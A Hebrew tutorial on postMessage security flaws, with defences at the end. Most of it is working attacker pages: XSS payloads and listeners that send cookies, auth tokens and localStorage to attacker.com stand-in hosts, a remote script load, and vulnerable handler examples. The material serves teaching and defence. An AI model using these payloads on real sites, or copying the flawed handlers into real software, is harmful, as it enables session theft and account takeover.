לדלג לתוכן

ניצול PostMessage - PostMessage Exploitation

סקירת postMessage API

window.postMessage() מאפשר תקשורת בטוחה בין חלונות (windows) ממקורות שונים (cross-origin). הוא מספק חלופה בטוחה להגבלות Same-Origin Policy.

// sending a message to another window
targetWindow.postMessage(data, targetOrigin);

// listening for messages
window.addEventListener('message', function(event) {
  console.log(event.data);     // the data that was sent
  console.log(event.origin);   // the sender's origin
  console.log(event.source);   // reference to the sending window
});

דוגמה לשימוש לגיטימי:

// parent page communicating with an iframe
let iframe = document.getElementById('payment-iframe');
iframe.contentWindow.postMessage({ action: 'getTotal' }, 'https://payments.example.com');

// inside the iframe
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://shop.example.com') return;

  if (event.data.action === 'getTotal') {
    event.source.postMessage({ total: 99.99 }, event.origin);
  }
});

חולשות בולידציית מקור - Origin Validation

חוסר בדיקת מקור

הטעות הנפוצה ביותר - לא לבדוק את event.origin כלל:

// vulnerable! no origin check
window.addEventListener('message', function(event) {
  document.getElementById('output').innerHTML = event.data;
});

כל אתר יכול לשלוח הודעות לחלון הזה:

<!-- attacker's page -->
<iframe src="https://vulnerable.com/page" id="target"></iframe>
<script>
  let target = document.getElementById('target');
  target.onload = function() {
    target.contentWindow.postMessage(
      '<img src=x onerror=alert(document.cookie)>',
      '*'
    );
  };
</script>

הbypass regex - בדיקה חלקית

// vulnerable! partial check of origin
window.addEventListener('message', function(event) {
  if (event.origin.indexOf('example.com') !== -1) {
    // handles the message
    eval(event.data);
  }
});

הbypass: https://example.com.attacker.com - הדומיין של התוקף מכיל את המחרוזת example.com.

הbypass regex - endsWith

// still vulnerable!
window.addEventListener('message', function(event) {
  if (event.origin.endsWith('example.com')) {
    processMessage(event.data);
  }
});

הbypass: https://evilexample.com - מסתיים ב-example.com.

הbypass regex - match לא מעוגן

// vulnerable! unanchored regex
window.addEventListener('message', function(event) {
  if (event.origin.match(/example\.com/)) {
    processMessage(event.data);
  }
});

הbypass: https://example.com.attacker.com או https://attacker.com/example.com.

מקור null

// vulnerable! allows null origin
window.addEventListener('message', function(event) {
  if (event.origin === 'null' || event.origin === null) {
    processMessage(event.data);
  }
});

יצירת null origin:

<!-- sandboxed iframe sending with null origin -->
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    parent.postMessage('malicious data', '*');
  </script>
"></iframe>

PostMessage ל-XSS

הinjection HTML דרך handler

// victim's server - vulnerable handler
window.addEventListener('message', function(event) {
  // no origin check
  let data = event.data;

  if (data.type === 'updateContent') {
    document.getElementById('content').innerHTML = data.html; // XSS!
  }

  if (data.type === 'redirect') {
    location.href = data.url; // Open redirect / JavaScript protocol
  }

  if (data.type === 'eval') {
    eval(data.code); // RCE in the browser
  }
});

דף התוקף:

<!DOCTYPE html>
<html>
<body>
  <iframe src="https://vulnerable.com/page" id="target"></iframe>
  <script>
    let target = document.getElementById('target');
    target.onload = function() {
      // XSS via innerHTML
      target.contentWindow.postMessage({
        type: 'updateContent',
        html: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
      }, '*');

      // or via eval
      target.contentWindow.postMessage({
        type: 'eval',
        code: 'fetch("https://attacker.com/steal?c="+document.cookie)'
      }, '*');

      // or via redirect
      target.contentWindow.postMessage({
        type: 'redirect',
        url: 'javascript:alert(document.domain)'
      }, '*');
    };
  </script>
</body>
</html>

גניבת מידע דרך postMessage - Cross-Origin Data Theft

כאשר אתר שולח מידע רגיש דרך postMessage בלי לציין targetOrigin:

// victim's server - sends data without a specific targetOrigin
function sendUserData() {
  let userData = {
    email: currentUser.email,
    token: currentUser.csrfToken,
    session: document.cookie
  };
  // sends to every window that's listening!
  window.parent.postMessage(userData, '*');
}

דף התוקף שמאזין:

<!DOCTYPE html>
<html>
<body>
  <iframe src="https://vulnerable.com/dashboard" id="target"></iframe>
  <script>
    window.addEventListener('message', function(event) {
      // receives the sensitive data
      console.log('Stolen data:', event.data);
      fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(event.data)
      });
    });
  </script>
</body>
</html>

הbypass iframe sandboxing

הexploit sandbox permissions

<!-- iframe with sandbox that allows scripts but not top-navigation -->
<iframe sandbox="allow-scripts" src="https://vulnerable.com/page"></iframe>

עם postMessage, ניתן לעקוף הגבלות sandbox:

// inside the sandboxed iframe
window.parent.postMessage({ action: 'navigate', url: 'https://attacker.com/phish' }, '*');

// the parent page (if it has a vulnerable handler)
window.addEventListener('message', function(event) {
  if (event.data.action === 'navigate') {
    location.href = event.data.url; // bypass sandbox!
  }
});

הברחת הודעות - Message Smuggling

שינוי סוג הודעה

// handler that expects a specific message type
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.com') return;

  let msg = event.data;
  if (msg.type === 'resize') {
    // legitimate logic
    document.getElementById('widget').style.height = msg.height + 'px';
  }
  if (msg.type === 'load') {
    // legitimate logic
    let s = document.createElement('script');
    s.src = msg.url;
    document.body.appendChild(s);
  }
});

אם התוקף מוצא XSS ב-trusted.com, הוא יכול לשלוח הודעות מהמקור המהימן:

// XSS on trusted.com -> sending a message to the target
let target = window.open('https://vulnerable.com/page');
setTimeout(() => {
  target.postMessage({ type: 'load', url: 'https://attacker.com/evil.js' }, '*');
}, 1000);

הbypass בדיקות origin מורכבות

subdomain takeover + postMessage

// handler that checks the subdomain
window.addEventListener('message', function(event) {
  let origin = new URL(event.origin);
  if (origin.hostname.endsWith('.example.com')) {
    processMessage(event.data);
  }
});

אם התוקף משיג subdomain takeover על forgotten.example.com:

<!-- hosted on forgotten.example.com -->
<script>
  let target = window.open('https://app.example.com/dashboard');
  setTimeout(() => {
    target.postMessage({ action: 'extractData' }, '*');
  }, 2000);
</script>

הbypass עם data: ו-blob: URLs

// page with a blob URL sending postMessage
let blob = new Blob([`
  <script>
    window.opener.postMessage('malicious', '*');
  </script>
`], { type: 'text/html' });
let url = URL.createObjectURL(blob);
window.open(url);
// the origin of blob: is the origin of the creator

דוגמת handler פגיע מלא

// real vulnerable handler (based on real vulnerabilities)
window.addEventListener('message', function(event) {
  try {
    let data = typeof event.data === 'string' ? JSON.parse(event.data) : event.data;

    switch (data.action) {
      case 'setContent':
        // vulnerable - innerHTML without sanitization
        document.querySelector(data.selector).innerHTML = data.content;
        break;

      case 'navigate':
        // vulnerable - javascript: protocol
        window.location = data.url;
        break;

      case 'execute':
        // vulnerable - direct eval
        eval(data.code);
        break;

      case 'storage':
        // vulnerable - access to localStorage
        if (data.operation === 'get') {
          event.source.postMessage({
            key: data.key,
            value: localStorage.getItem(data.key)
          }, '*'); // sends to everyone!
        } else {
          localStorage.setItem(data.key, data.value);
        }
        break;
    }
  } catch (e) {
    console.error(e);
  }
});

דף תוקף שמנצל את כל החולשות:

<!DOCTYPE html>
<html>
<body>
<iframe src="https://vulnerable.com" id="v"></iframe>
<script>
  let victim = document.getElementById('v');
  victim.onload = function() {
    let w = victim.contentWindow;

    // step 1: stealing localStorage
    w.postMessage(JSON.stringify({
      action: 'storage',
      operation: 'get',
      key: 'authToken'
    }), '*');

    // step 2: XSS
    w.postMessage(JSON.stringify({
      action: 'setContent',
      selector: '#main',
      content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
    }), '*');
  };

  // receiving the stolen data
  window.addEventListener('message', function(event) {
    fetch('https://attacker.com/collect', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(event.data)
    });
  });
</script>
</body>
</html>

הגנה

ולידציית origin מחמירה

const ALLOWED_ORIGINS = [
  'https://trusted.example.com',
  'https://payments.example.com'
];

window.addEventListener('message', function(event) {
  // exact check of origin
  if (!ALLOWED_ORIGINS.includes(event.origin)) {
    console.warn('Rejected message from:', event.origin);
    return;
  }

  // validating the message structure
  if (typeof event.data !== 'object' || !event.data.type) {
    return;
  }

  // safe handling
  handleMessage(event.data);
});

הימנעות מ-innerHTML ו-eval

window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted.example.com') return;

  // never use:
  // - innerHTML / outerHTML
  // - eval / Function
  // - setTimeout/setInterval with a string
  // - document.write
  // - location.href with a value from the message

  // instead:
  if (event.data.type === 'updateText') {
    document.getElementById('output').textContent = event.data.text; // safe
  }
});

ציון targetOrigin בשליחה

// bad - sends to everyone
window.parent.postMessage(sensitiveData, '*');

// good - sends only to a specific target
window.parent.postMessage(sensitiveData, 'https://trusted.example.com');

סיכום

חולשות postMessage נובעות בעיקר מחוסר ולידציית origin, שימוש בפונקציות מסוכנות כמו innerHTML ו-eval על מידע מההודעה, ושליחת מידע רגיש עם targetOrigin של '*'. ההגנה דורשת בדיקת origin מדויקת (לא regex חלקי), הימנעות מפונקציות מסוכנות, וציון targetOrigin מפורש בשליחה.